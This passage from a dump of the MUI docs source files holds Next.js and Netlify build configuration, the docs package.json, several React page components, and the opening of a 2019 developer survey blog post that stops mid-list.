'material-ui-popup-state',\n            // Assume any X dependencies depend on a package defined in this repository.\n            '@mui/x-',\n            '@toolpad/core',\n          ].some((dep) => request.startsWith(dep));\n\n          if (hasDependencyOnRepoPackages) {\n            return callback(null);\n          }\n          return nextExternals(ctx, callback);\n        },\n        ...externals,\n      ];\n    }\n\n    // @ts-ignore\n    config.module.rules.forEach((rule) => {\n      rule.resourceQuery = { not: [/raw/] };\n    });\n\n    return {\n      ...config,\n      plugins,\n      resolve: {\n        ...config.resolve,\n        // resolve .tsx first\n        alias: {\n          ...config.resolve.alias,\n\n          // for 3rd party packages with dependencies in this repository\n          '@mui/material$': path.resolve(workspaceRoot, 'packages/mui-material/src/index.js'),\n          '@mui/material/package.json': path.resolve(\n            workspaceRoot,\n            'packages/mui-material/package.json',\n          ),\n          '@mui/material': path.resolve(workspaceRoot, 'packages/mui-material/src'),\n\n          '@mui/docs': path.resolve(workspaceRoot, 'packages/mui-docs/src'),\n          '@mui/icons-material$': path.resolve(\n            workspaceRoot,\n            'packages/mui-icons-material/lib/index.mjs',\n          ),\n          '@mui/icons-material': path.resolve(workspaceRoot, 'packages/mui-icons-material/lib'),\n          '@mui/lab': path.resolve(workspaceRoot, 'packages/mui-lab/src'),\n          '@mui/styled-engine': path.resolve(workspaceRoot, 'packages/mui-styled-engine/src'),\n          '@mui/system/package.json': path.resolve(\n            workspaceRoot,\n            'packages/mui-system/package.json',\n          ),\n          '@mui/system': path.resolve(workspaceRoot, 'packages/mui-system/src'),\n          '@mui/private-theming': path.resolve(workspaceRoot, 'packages/mui-private-theming/src'),\n          '@mui/utils': path.resolve(workspaceRoot, 'packages/mui-utils/src'),\n          '@mui/material-nextjs': path.resolve(workspaceRoot, 'packages/mui-material-nextjs/src'),\n        },\n        extensions: [\n          '.mjs',\n          '.tsx',\n          // @ts-ignore\n          ...config.resolve.extensions.filter(\n            (extension: string) => extension !== '.tsx' && extension !== '.mjs',\n          ),\n        ],\n      },\n      module: {\n        ...config.module,\n        rules: config.module.rules.concat([\n          {\n            test: /\\.md$/,\n            oneOf: [\n              {\n                resourceQuery: /muiMarkdown/,\n                use: [\n                  options.defaultLoaders.babel,\n                  {\n                    loader: require.resolve('@mui/internal-markdown/loader'),\n                    options: {\n                      workspaceRoot,\n                      ignoreLanguagePages: LANGUAGES_IGNORE_PAGES,\n                      languagesInProgress: LANGUAGES_IN_PROGRESS,\n                      packages: [\n                        {\n                          productId: 'material-ui',\n                          paths: [\n                            path.join(workspaceRoot, 'packages/mui-lab/src'),\n                            path.join(workspaceRoot, 'packages/mui-material/src'),\n                          ],\n                        },\n                      ],\n                      env: {\n                        SOURCE_CODE_REPO: options.config.env.SOURCE_CODE_REPO,\n                        LIB_VERSION: options.config.env.LIB_VERSION,\n                      },\n                    },\n                  },\n                ],\n              },\n              {\n                // used in some /getting-started/templates\n                type: 'asset/source',\n              },\n            ],\n          },\n          // required to transpile ../packages/\n          {\n            test: /\\.(js|mjs|tsx|ts)$/,\n            resourceQuery: { not: [/raw/] },\n            include: [workspaceRoot],\n            exclude: /(node_modules|mui-icons-material)/,\n            use: options.defaultLoaders.babel,\n          },\n          {\n            resourceQuery: /raw/,\n            type: 'asset/source',\n          },\n        ]),\n      },\n    };\n  },\n  env: {\n    // docs-infra\n    LIB_VERSION: pkg.version,\n    SEARCH_INDEX: `material-ui-v${semver.major(pkg.version)}`,\n    SOURCE_CODE_REPO: 'https://github.com/mui/material-ui',\n    SOURCE_GITHUB_BRANCH: 'master', // #target-branch-reference\n    GITHUB_TEMPLATE_DOCS_FEEDBACK: '4.docs-feedback.yml',\n    BUILD_ONLY_ENGLISH_LOCALE: String(buildOnlyEnglishLocale),\n    // MUI Core related\n    GITHUB_AUTH: process.env.GITHUB_AUTH,\n    MUI_CHAT_API_BASE_URL: 'https://chat-backend.mui.com',\n    MUI_CHAT_SCOPES: 'material-ui', // Use comma separated list of `productId` (see `_app.js`) to enable MUI Chat on demos\n  },\n  // Ensure CSS from the Data Grid packages is included in the build:\n  // https://github.com/mui/mui-x/issues/17427#issuecomment-2813967605\n  transpilePackages: ['@mui/x-data-grid', '@mui/x-data-grid-pro', '@mui/x-data-grid-premium'],\n  distDir: 'export',\n  // Next.js provides a `defaultPathMap` argument, we could simplify the logic.\n  // However, we don't in order to prevent any regression in the `findPages()` method.\n  // @ts-ignore\n  exportPathMap: () => {\n    const pages = findPages();\n    const map = {};\n\n    // @ts-ignore\n    function traverse(pages2, userLanguage) {\n      const prefix = userLanguage === 'en' ? '' : `/${userLanguage}`;\n\n      // @ts-ignore\n      pages2.forEach((page) => {\n        // The experiments pages are only meant for experiments, they shouldn't leak to production.\n        if (\n          (page.pathname.startsWith('/experiments/') || page.pathname === '/experiments') &&\n          process.env.DEPLOY_ENV === 'production'\n        ) {\n          return;\n        }\n        // The blog is not translated\n        if (userLanguage !== 'en' && LANGUAGES_IGNORE_PAGES(page.pathname)) {\n          return;\n        }\n        if (!page.children) {\n          // map api-docs to api\n          // i: /api-docs/* > /api/* (old structure)\n          // ii: /*/api-docs/* > /*/api/* (for new structure)\n          // @ts-ignore\n          map[`${prefix}${page.pathname.replace(/^(\\/[^/]+)?\\/api-docs\\/(.*)/, '$1/api/$2')}`] = {\n            page: page.pathname,\n            query: {\n              userLanguage,\n            },\n          };\n          return;\n        }\n\n        traverse(page.children, userLanguage);\n      });\n    }\n\n    // We want to speed-up the build of pull requests.\n    // For this, consider only English language on deploy previews, except for crowdin PRs.\n    if (buildOnlyEnglishLocale) {\n      // eslint-disable-next-line no-console\n      console.log('Considering only English for SSR');\n      traverse(pages, 'en');\n    } else {\n      // eslint-disable-next-line no-console\n      console.log('Considering various locales for SSR');\n      LANGUAGES_SSR.forEach((userLanguage) => {\n        traverse(pages, userLanguage);\n      });\n    }\n\n    return map;\n  },\n  // Used to signal we run pnpm build\n  ...(process.env.NODE_ENV === 'production'\n    ? {\n        output: 'export',\n      }\n    : {\n        // rewrites has no effect when run `next export` for production\n        rewrites: async () => {\n          return [\n            { source: `/:lang(${LANGUAGES.join('|')})?/:rest*`, destination: '/:rest*' },\n            // Make sure to include the trailing slash if `trailingSlash` option is set\n            { source: '/api/:rest*/', destination: '/api-docs/:rest*/' },\n            { source: `/static/x/:rest*`, destination: 'http://0.0.0.0:3001/static/x/:rest*' },\n          ];\n        },\n        redirects: async () => {\n          return [\n            {\n              source: '/base-ui/',\n              destination: 'https://base-ui.com',\n              permanent: true,\n            },\n          ];\n        },\n      }),\n} satisfies NextConfig);\n"
  },
  {
    "path": "docs/nextConfigDocsInfra.js",
    "content": "const os = require('os');\n\n/**\n * See the docs of the Netlify environment variables:\n * https://docs.netlify.com/configure-builds/environment-variables/#build-metadata.\n *\n * A few comments:\n * - process.env.CONTEXT === 'production' means that the branch in Netlify was configured as production.\n *   For example, the `master` branch of the Core team is considered a `production` build on Netlify based\n *   on https://app.netlify.com/sites/material-ui/settings/deploys#branches.\n * - Each team has different site https://app.netlify.com/teams/mui/sites.\n *   The following logic must be compatible with all of them.\n */\nlet DEPLOY_ENV = 'development';\n\n// Same as process.env.PULL_REQUEST_ID\nif (process.env.CONTEXT === 'deploy-preview') {\n  DEPLOY_ENV = 'pull-request';\n}\n\nif (process.env.CONTEXT === 'production' || process.env.CONTEXT === 'branch-deploy') {\n  DEPLOY_ENV = 'production';\n}\n\n// The 'master' and 'next' branches are NEVER a production environment. We use these branches for staging.\nif (\n  (process.env.CONTEXT === 'production' || process.env.CONTEXT === 'branch-deploy') &&\n  (process.env.HEAD === 'master' || process.env.HEAD === 'next')\n) {\n  DEPLOY_ENV = 'staging';\n}\n/**\n * ====================================================================================\n */\n\nprocess.env.DEPLOY_ENV = DEPLOY_ENV;\n\n/**\n * @typedef {import('next').NextConfig} NextConfig\n * @typedef {NextConfig['env']} NextConfigEnv\n * @typedef {{env : {\n *  LIB_VERSION: string;\n *  SOURCE_CODE_REPO: string;\n *  SOURCE_GITHUB_BRANCH: string;\n *  GITHUB_TEMPLATE_DOCS_FEEDBACK: string;\n * }} & NextConfig} NextConfigInput\n\n * @param {NextConfigInput} nextConfig\n * @returns {NextConfig}\n */\nfunction withDocsInfra(nextConfig) {\n  return {\n    trailingSlash: true,\n    reactStrictMode: true,\n    productionBrowserSourceMaps: true,\n    ...nextConfig,\n    env: {\n      BUILD_ONLY_ENGLISH_LOCALE: 'true', // disable translations by default\n      // production | staging | pull-request | development\n      DEPLOY_ENV,\n      ...nextConfig.env,\n      // https://docs.netlify.com/configure-builds/environment-variables/#git-metadata\n      // reference ID (also known as \"SHA\" or \"hash\") of the commit we're building.\n      COMMIT_REF: process.env.COMMIT_REF,\n      // ID of the PR and the Deploy Preview it generated (for example, 1211)\n      PULL_REQUEST_ID: process.env.REVIEW_ID,\n      // This can be set manually in the .env to see the ads in dev mode.\n      ENABLE_AD_IN_DEV_MODE: process.env.ENABLE_AD_IN_DEV_MODE,\n      // URL representing the unique URL for an individual deploy, e.g.\n      // https://5b243e66dd6a547b4fee73ae--petsof.netlify.app\n      NETLIFY_DEPLOY_URL: process.env.DEPLOY_URL,\n      // Name of the site, its Netlify subdomain; for example, material-ui-docs\n      NETLIFY_SITE_NAME: process.env.SITE_NAME,\n      // For template images\n      TEMPLATE_IMAGE_URL: '',\n    },\n    experimental: {\n      scrollRestoration: true,\n      workerThreads: false,\n      ...(process.env.CI\n        ? {\n            cpus: process.env.NEXT_PARALLELISM\n              ? parseInt(process.env.NEXT_PARALLELISM, 10)\n              : os.availableParallelism(),\n          }\n        : {}),\n      ...nextConfig.experimental,\n    },\n    eslint: {\n      ignoreDuringBuilds: true,\n      ...nextConfig.eslint,\n    },\n    typescript: {\n      // Motivated by https://github.com/vercel/next.js/issues/7687\n      ignoreBuildErrors: true,\n      ...nextConfig.typescript,\n    },\n  };\n}\n\nmodule.exports = withDocsInfra;\n"
  },
  {
    "path": "docs/notifications.json",
    "content": "[\n  {\n    \"id\": 87,\n    \"title\": \"Material UI v7 is here\",\n    \"text\": \"This major release improves the integration with modern tools and consistency across the library. Check out the <a style=\\\"color: inherit;\\\" data-ga-event-category=\\\"Announcement\\\" data-ga-event-action=\\\"notification\\\" data-ga-event-label=\\\"material-ui-v7\\\" href=\\\"https://mui.com/blog/material-ui-v7-is-here/\\\">announcement blog post</a>.\"\n  },\n  {\n    \"id\": 88,\n    \"title\": \"Introducing MUI X v8\",\n    \"text\": \"Powerful new features and highly requested new components. Read the full details in the <a style=\\\"color: inherit;\\\" data-ga-event-category=\\\"Announcement\\\" data-ga-event-action=\\\"notification\\\" data-ga-event-label=\\\"mui-x-v8\\\" href=\\\"https://mui.com/blog/mui-x-v8/\\\">MUI X v8 announcement blog post</a>.\"\n  }\n]\n"
  },
  {
    "path": "docs/package.json",
    "content": "{\n  \"name\": \"docs\",\n  \"private\": true,\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"build\": \"rimraf ./export && cross-env NODE_ENV=production NODE_OPTIONS=--max_old_space_size=8192 next build && pnpm build-sw && pnpm link-check\",\n    \"build:clean\": \"rimraf .next && pnpm build\",\n    \"build-sw\": \"node ./scripts/buildServiceWorker.js\",\n    \"dev\": \"next dev\",\n    \"deploy\": \"git fetch upstream master && git push -f material-ui-docs FETCH_HEAD:next\",\n    \"icons\": \"rimraf --glob public/static/icons/* && node ./scripts/buildIcons.js\",\n    \"start\": \"serve ./export\",\n    \"create-playground\": \"cpy --cwd=scripts playground.template.tsx ../../pages/playground --rename=index.tsx\",\n    \"typescript\": \"tsc -p tsconfig.json && tsc -p scripts/tsconfig.json\",\n    \"typescript:transpile\": \"echo 'Use `pnpm docs:typescript:formatted'` instead && exit 1\",\n    \"typescript:transpile:dev\": \"echo 'Use `pnpm docs:typescript'` instead && exit 1\",\n    \"link-check\": \"tsx ./scripts/reportBrokenLinks.mts\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.29.0\",\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@base-ui/react\": \"^1.3.0\",\n    \"@docsearch/react\": \"^3.9.0\",\n    \"@emotion/cache\": \"catalog:docs\",\n    \"@emotion/react\": \"catalog:docs\",\n    \"@emotion/server\": \"catalog:docs\",\n    \"@emotion/styled\": \"catalog:docs\",\n    \"@fortawesome/fontawesome-svg-core\": \"^6.7.2\",\n    \"@fortawesome/free-solid-svg-icons\": \"^6.7.2\",\n    \"@fortawesome/react-fontawesome\": \"^0.2.6\",\n    \"@mui/base\": \"5.0.0-beta.70\",\n    \"@mui/docs\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/internal-markdown\": \"workspace:^\",\n    \"@mui/lab\": \"workspace:*\",\n    \"@mui/material\": \"workspace:*\",\n    \"@mui/styled-engine\": \"workspace:*\",\n    \"@mui/styled-engine-sc\": \"workspace:*\",\n    \"@mui/stylis-plugin-rtl\": \"workspace:*\",\n    \"@mui/system\": \"workspace:*\",\n    \"@mui/types\": \"workspace:^\",\n    \"@mui/utils\": \"workspace:*\",\n    \"@mui/x-charts\": \"8.28.0\",\n    \"@mui/x-data-grid\": \"8.28.1\",\n    \"@mui/x-data-grid-generator\": \"8.28.1\",\n    \"@mui/x-data-grid-premium\": \"8.28.1\",\n    \"@mui/x-data-grid-pro\": \"8.28.1\",\n    \"@mui/x-date-pickers\": \"8.27.2\",\n    \"@mui/x-date-pickers-pro\": \"8.27.2\",\n    \"@mui/x-license\": \"8.26.0\",\n    \"@mui/x-tree-view\": \"8.27.2\",\n    \"@popperjs/core\": \"^2.11.8\",\n    \"@react-spring/web\": \"^10.0.3\",\n    \"@tailwindcss/postcss\": \"^4.2.2\",\n    \"autosuggest-highlight\": \"^3.3.4\",\n    \"babel-plugin-module-resolver\": \"^5.0.3\",\n    \"babel-plugin-optimize-clsx\": \"^2.6.2\",\n    \"babel-plugin-react-remove-properties\": \"^0.3.1\",\n    \"babel-plugin-transform-react-remove-prop-types\": \"^0.4.24\",\n    \"chance\": \"^1.1.13\",\n    \"clipboard-copy\": \"^4.0.1\",\n    \"clsx\": \"^2.1.1\",\n    \"cross-env\": \"^10.1.0\",\n    \"css-mediaquery\": \"^0.1.2\",\n    \"dayjs\": \"^1.11.20\",\n    \"es-toolkit\": \"^1.45.1\",\n    \"feed\": \"^5.2.0\",\n    \"fg-loadcss\": \"^3.1.0\",\n    \"final-form\": \"^5.0.0\",\n    \"flexsearch\": \"^0.8.212\",\n    \"json2mq\": \"^0.2.0\",\n    \"jss\": \"^10.10.0\",\n    \"jss-plugin-template\": \"^10.10.0\",\n    \"jss-rtl\": \"^0.3.0\",\n    \"lz-string\": \"^1.5.0\",\n    \"markdown-to-jsx\": \"^9.7.13\",\n    \"material-ui-popup-state\": \"^5.3.6\",\n    \"next\": \"^15.5.14\",\n    \"notistack\": \"3.0.2\",\n    \"nprogress\": \"^0.2.0\",\n    \"postcss\": \"^8.5.8\",\n    \"postcss-import\": \"^16.1.1\",\n    \"prop-types\": \"^15.8.1\",\n    \"react\": \"^19.2.4\",\n    \"react-dom\": \"^19.2.4\",\n    \"react-draggable\": \"^4.5.0\",\n    \"react-final-form\": \"^7.0.0\",\n    \"react-imask\": \"^7.6.1\",\n    \"react-intersection-observer\": \"^10.0.3\",\n    \"react-is\": \"^19.2.4\",\n    \"react-number-format\": \"^5.4.5\",\n    \"react-router\": \"^7.13.2\",\n    \"react-runner\": \"^1.0.5\",\n    \"react-simple-code-editor\": \"^0.14.1\",\n    \"react-swipeable-views\": \"^0.14.1\",\n    \"react-transition-group\": \"^4.4.5\",\n    \"react-virtuoso\": \"^4.18.3\",\n    \"react-window\": \"^2.2.7\",\n    \"rimraf\": \"^6.1.3\",\n    \"semver\": \"^7.7.4\",\n    \"styled-components\": \"^6.3.12\",\n    \"stylis\": \"catalog:docs\",\n    \"use-count-up\": \"^3.0.1\",\n    \"webpack-bundle-analyzer\": \"^5.3.0\"\n  },\n  \"devDependencies\": {\n    \"@babel/plugin-transform-react-constant-elements\": \"7.27.1\",\n    \"@babel/preset-typescript\": \"7.28.5\",\n    \"@mui-internal/api-docs-builder\": \"workspace:^\",\n    \"@mui/internal-docs-utils\": \"workspace:^\",\n    \"@mui/internal-scripts\": \"workspace:^\",\n    \"@playwright/test\": \"1.58.2\",\n    \"@types/autosuggest-highlight\": \"3.2.3\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/chance\": \"1.1.7\",\n    \"@types/css-mediaquery\": \"0.1.4\",\n    \"@types/fg-loadcss\": \"3.1.3\",\n    \"@types/gtag.js\": \"0.0.20\",\n    \"@types/json2mq\": \"0.2.2\",\n    \"@types/node\": \"20.19.37\",\n    \"@types/nprogress\": \"0.2.3\",\n    \"@types/prop-types\": \"15.7.15\",\n    \"@types/react\": \"19.2.14\",\n    \"@types/react-dom\": \"19.2.3\",\n    \"@types/react-swipeable-views\": \"0.13.6\",\n    \"@types/react-transition-group\": \"4.4.12\",\n    \"@types/semver\": \"7.7.1\",\n    \"@types/stylis\": \"4.2.7\",\n    \"chai\": \"6.2.2\",\n    \"cross-fetch\": \"4.1.0\",\n    \"gm\": \"1.25.1\",\n    \"prettier\": \"3.8.1\",\n    \"tailwindcss\": \"4.2.2\",\n    \"yargs\": \"18.0.0\"\n  }\n}\n"
  },
  {
    "path": "docs/pages/404.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\nimport NotFoundHero from 'docs/src/components/NotFoundHero';\n\nexport default function Custom404() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head title=\"404: This page could not be found - MUI\" description=\"\" />\n      <AppHeaderBanner />\n      <AppHeader />\n      <main id=\"main-content\">\n        <NotFoundHero />\n        <Divider />\n      </main>\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/_app.tsx",
    "content": "import 'docs/src/modules/components/bootstrap';\n// --- Post bootstrap -----\nimport * as React from 'react';\nimport { AdConfig } from '@mui/docs/Ad';\nimport { SandboxConfig } from '@mui/docs/DemoContext';\nimport type { DocsAppProps } from '@mui/docs/DocsApp';\nimport {\n  DocsApp,\n  createGetInitialProps,\n  printConsoleBanner,\n  reportWebVitals,\n} from '@mui/docs/DocsApp';\nimport findActivePage from '@mui/docs/findActivePage';\nimport getProductInfoFromUrl from '@mui/docs/getProductInfoFromUrl';\nimport type { Translations } from '@mui/docs/i18n';\nimport type { MuiPage } from '@mui/docs/MuiPage';\nimport materialPkgJson from '@mui/material/package.json';\nimport systemPkgJson from '@mui/system/package.json';\nimport { LicenseInfo } from '@mui/x-license';\nimport type { AppProps } from 'next/app';\nimport { useRouter } from 'next/router';\n\nimport docsInfraPages from 'docs/data/docs-infra/pages';\nimport generalDocsPages from 'docs/data/docs/pages';\nimport materialPages from 'docs/data/material/pages';\nimport systemPages from 'docs/data/system/pages';\nimport SvgMuiLogomark, {\n  muiSvgLogoString,\n  muiSvgWordmarkString,\n} from 'docs/src/icons/SvgMuiLogomark';\n\nimport * as config from '../config';\nimport '../public/static/components-gallery/base-theme.css';\nimport './global.css';\n\nexport { fontClasses } from '@mui/docs/nextFonts';\n\n// Remove the license warning from demonstration purposes\nLicenseInfo.setLicenseKey(process.env.NEXT_PUBLIC_MUI_LICENSE!);\n\nprintConsoleBanner();\n\n/**\n * Generates root index template for Material UI demos.\n */\nfunction getMaterialRootIndex(codeVariant: string) {\n  const type = codeVariant === 'TS' ? '!' : '';\n  return `import * as React from 'react';\nimport * as ReactDOM from 'react-dom/client';\nimport { StyledEngineProvider } from '@mui/material/styles';\nimport Demo from './Demo';\n\nReactDOM.createRoot(document.querySelector(\"#root\")${type}).render(\n  <React.StrictMode>\n    <StyledEngineProvider injectFirst>\n      <Demo />\n    </StyledEngineProvider>\n  </React.StrictMode>\n);`;\n}\n\nfunction useProductData(pageProps: DocsAppProps['pageProps']) {\n  const router = useRouter();\n  // TODO move productId & productCategoryId resolution to page layout.\n  // We should use the productId field from the markdown and fallback to getProductInfoFromUrl()\n  // if not present\n  const { productId, productCategoryId } = getProductInfoFromUrl(router.asPath);\n\n  const productIdentifier = React.useMemo(() => {\n    const languagePrefix = pageProps.userLanguage === 'en' ? '' : `/${pageProps.userLanguage}`;\n\n    if (productId === 'material-ui') {\n      return {\n        metadata: '',\n        name: 'Material UI',\n        logo: SvgMuiLogomark,\n        logoSvg: muiSvgLogoString,\n        wordmarkSvg: muiSvgWordmarkString,\n        versions: [\n          { text: `v${materialPkgJson.version}`, current: true },\n          {\n            text: 'v7',\n            href: `https://v7.mui.com${languagePrefix}/material-ui/getting-started/`,\n          },\n          {\n            text: 'v6',\n            href: `https://v6.mui.com${languagePrefix}/material-ui/getting-started/`,\n          },\n          {\n            text: 'v5',\n            href: `https://v5.mui.com${languagePrefix}/getting-started/installation/`,\n          },\n          {\n            text: 'v4',\n            href: `https://v4.mui.com${languagePrefix}/getting-started/installation/`,\n          },\n          {\n            text: 'View all versions',\n            href: `https://mui.com${languagePrefix}/versions/`,\n          },\n        ],\n      };\n    }\n\n    if (productId === 'system') {\n      return {\n        metadata: '',\n        name: 'MUI System',\n        logo: SvgMuiLogomark,\n        logoSvg: muiSvgLogoString,\n        wordmarkSvg: muiSvgWordmarkString,\n        versions: [\n          { text: `v${systemPkgJson.version}`, current: true },\n          { text: 'v7', href: `https://v7.mui.com${languagePrefix}/system/getting-started/` },\n          { text: 'v6', href: `https://v6.mui.com${languagePrefix}/system/getting-started/` },\n          { text: 'v5', href: `https://v5.mui.com${languagePrefix}/system/getting-started/` },\n          { text: 'v4', href: `https://v4.mui.com${languagePrefix}/system/basics/` },\n          {\n            text: 'View all versions',\n            href: `https://mui.com${languagePrefix}/versions/`,\n          },\n        ],\n      };\n    }\n\n    // TODO: 'core' is a productCategoryId, not a productId — this branch may be dead code.\n    if ((productId as string) === 'core') {\n      return {\n        metadata: '',\n        name: 'MUI Core',\n        logo: SvgMuiLogomark,\n        logoSvg: muiSvgLogoString,\n        wordmarkSvg: muiSvgWordmarkString,\n        versions: [\n          { text: `v${materialPkgJson.version}`, current: true },\n          {\n            text: 'View all versions',\n            href: `https://mui.com${languagePrefix}/versions/`,\n          },\n        ],\n      };\n    }\n\n    if (productId === 'docs-infra') {\n      return {\n        metadata: '',\n        name: 'Docs-infra',\n        logo: SvgMuiLogomark,\n        logoSvg: muiSvgLogoString,\n        wordmarkSvg: muiSvgWordmarkString,\n        versions: [\n          {\n            text: 'v0.0.0',\n            href: `https://mui.com${languagePrefix}/versions/`,\n          },\n        ],\n      };\n    }\n\n    if (productId === 'docs') {\n      return {\n        metadata: '',\n        name: 'Home docs',\n        logo: SvgMuiLogomark,\n        logoSvg: muiSvgLogoString,\n        wordmarkSvg: muiSvgWordmarkString,\n        versions: [\n          {\n            text: 'v0.0.0',\n            href: `https://mui.com${languagePrefix}/versions/`,\n          },\n        ],\n      };\n    }\n\n    return null;\n  }, [pageProps.userLanguage, productId]);\n\n  return React.useMemo(() => {\n    let pages: MuiPage[] = generalDocsPages as MuiPage[];\n    if (productId === 'material-ui') {\n      pages = materialPages as MuiPage[];\n    } else if (productId === 'system') {\n      pages = systemPages as MuiPage[];\n    } else if (productId === 'docs-infra') {\n      pages = docsInfraPages as MuiPage[];\n    }\n\n    const { activePage, activePageParents } = findActivePage(pages, router.pathname);\n\n    return {\n      activePage,\n      activePageParents,\n      pages,\n      productIdentifier: productIdentifier!,\n      productId,\n      productCategoryId,\n    };\n  }, [productId, productCategoryId, productIdentifier, router.pathname]);\n}\n\nconst CSB_CONFIG: SandboxConfig = {\n  primaryPackage: '@mui/material',\n  fallbackDependency: { name: '@mui/material', version: 'latest' },\n  getRootIndex: getMaterialRootIndex,\n};\n\nconst GA_AD_CONFIG: AdConfig = { GADisplayRatio: 0.1 };\n\nfunction useDemoDisplayName() {\n  const router = useRouter();\n  const { productId } = React.useMemo(() => getProductInfoFromUrl(router.asPath), [router.asPath]);\n  return React.useMemo(() => {\n    if (productId === 'system') {\n      return 'MUI System';\n    }\n    if (productId?.startsWith('x-')) {\n      return 'MUI X';\n    }\n    return 'Material UI';\n  }, [productId]);\n}\n\nexport default function MyApp(\n  props: AppProps<{ userLanguage: string; translations: Translations }>,\n) {\n  const { Component, pageProps } = props;\n  const {\n    activePage,\n    activePageParents,\n    pages: pageList,\n    productIdentifier,\n    productId,\n    productCategoryId,\n  } = useProductData(pageProps);\n  const demoDisplayName = useDemoDisplayName();\n\n  return (\n    <DocsApp\n      {...props}\n      Component={Component}\n      pageProps={pageProps}\n      docsConfig={config}\n      serviceWorkerPath=\"/sw.js\"\n      adConfig={GA_AD_CONFIG}\n      activePage={activePage}\n      activePageParents={activePageParents}\n      pageList={pageList}\n      productIdentifier={productIdentifier}\n      productId={productId}\n      productCategoryId={productCategoryId}\n      demoDisplayName={demoDisplayName}\n      csbConfig={CSB_CONFIG}\n    />\n  );\n}\n\nMyApp.getInitialProps = createGetInitialProps({\n  translationsContext: require.context('docs/translations', false, /\\.\\/translations.*\\.json$/),\n});\n\nexport { reportWebVitals };\n"
  },
  {
    "path": "docs/pages/_document.tsx",
    "content": "import NextDocument from 'next/document';\nimport {\n  Document as MuiDocsDocument,\n  createGetInitialProps,\n  type DocumentProps,\n} from '@mui/docs/Document';\n\nexport default class MuiDocument extends NextDocument {\n  static getInitialProps = createGetInitialProps({ setupStyledComponents: true });\n\n  render() {\n    return <MuiDocsDocument {...(this.props as unknown as DocumentProps)} />;\n  }\n}\n"
  },
  {
    "path": "docs/pages/about.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport AboutHero from 'docs/src/components/about/AboutHero';\nimport OurValues from 'docs/src/components/about/OurValues';\nimport Team from 'docs/src/components/about/Team';\nimport HowToSupport from 'docs/src/components/about/HowToSupport';\nimport AboutEnd from 'docs/src/components/about/AboutEnd';\nimport Head from 'docs/src/modules/components/Head';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\n\nexport default function About() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"About us - MUI\"\n        description=\"MUI is a 100% remote globally distributed team, supported by a community of thousands\n        of developers all across the world.\"\n        card=\"/static/social-previews/about-preview.jpg\"\n      />\n      <AppHeaderBanner />\n      <AppHeader />\n      <main id=\"main-content\">\n        <AboutHero />\n        <Divider />\n        <OurValues />\n        <Divider />\n        <Team />\n        <Divider />\n        <HowToSupport />\n        <Divider />\n        <AboutEnd />\n        <Divider />\n      </main>\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/blog/2019-developer-survey-results.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2019-developer-survey-results.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2019-developer-survey-results.md",
    "content": "---\ntitle: \"The 2019 Material UI Developer Survey: here's what we discovered\"\ndescription: Your feedback helps us to build better products. Here's what we learned about your needs in our annual survey.\ndate: 2019-03-16T00:00:00.000Z\nauthors: ['oliviertassinari', 'mbrookes']\ntags: ['Developer Survey']\nmanualCard: true\n---\n\nWhile we are currently working on the upcoming release of Material UI v4, we need to prioritize our\nroadmap for the coming year. To refine our focus, we launched a developer survey last month,\nto which we received 734 contributions. Thank you for your participation!\nThe survey is now closed and this is a summary of the results.\n\nThe survey was broken into three sections, \"Introduction\", \"About you\" and \"Your product\".\n\n## Introduction\n\nHere we asked for the good, the bad and the ugly. Thankfully, it's mostly good, but we can focus\non the things that will make it even better.\n\n### 1. How would you feel if you could no longer use Material UI?\n\n<img src=\"/static/blog/2019-developer-survey-results/1.png\" style=\"display: block; margin: 0 auto;\" alt=\"Pie chart: 74.7% Very disappointed, 18.9% disappointed, 6.4% not disappointed.\" />\n\nAn overwhelming majority of respondents (over 93%), would be disappointed or very disappointed if\nthey could no longer use Material UI. The benchmark for \"very disappointed\" is 40%,\nso we're on the right track. Don't worry, Material UI isn't going away any time soon –\nwe want to focus on making even more of you \"very disappointed\", as it were!\n\nCuriously, the 6.4% who said they would _not_ be disappointed if they could no longer use\nMaterial UI collectively gave a Net Promoter Score of 68%, which is\n[higher than that of all respondents as a whole](#5-how-likely-is-it-that-you-would-recommend-material-ui-to-a-friend-or-colleague),\nso we know they love us really. 😘\n\n### 2. Who do you think would most benefit from Material UI?\n\nThis word cloud was generated with wordclouds.com.\n\n<img src=\"/static/blog/2019-developer-survey-results/2.png\" style=\"display: block; margin: 0 auto;\" alt=\"Word cloud of who would benefit most\" />\n\nDevelopers, developers, developers! (And \"anyone\" and \"everyone\", apparently! ) This is understandable, given the\n[job role demographic](#7-which-of-the-following-best-describes-your-current-job-role)\nof the majority of respondents. We'll continue to work on the developer experience, making it\neasier to get started with, use, and customize Material UI.\n\n### 3. What is the main benefit you receive from Material UI?\n\n<img src=\"/static/blog/2019-developer-survey-results/3.png\" style=\"display: block; margin: 0 auto;\" alt=\"Word cloud of the main benefit of Material UI\" />\n\nThe responses variously commented on being able to focus on the business logic, time saved,\ngood looking components, ease of use, design consistency, good documentation.\nWe'll make sure that we continue to do more of the things that benefit you the most.\n\n### 4. How can we improve Material UI for you?\n\nWe have grouped the answers into different categories.\nThe prefix corresponds to the number of times the concern was mentioned.\nIt's sorted descending, with the most important concerns first:\n\n- 135 **More components:**\n  - 56 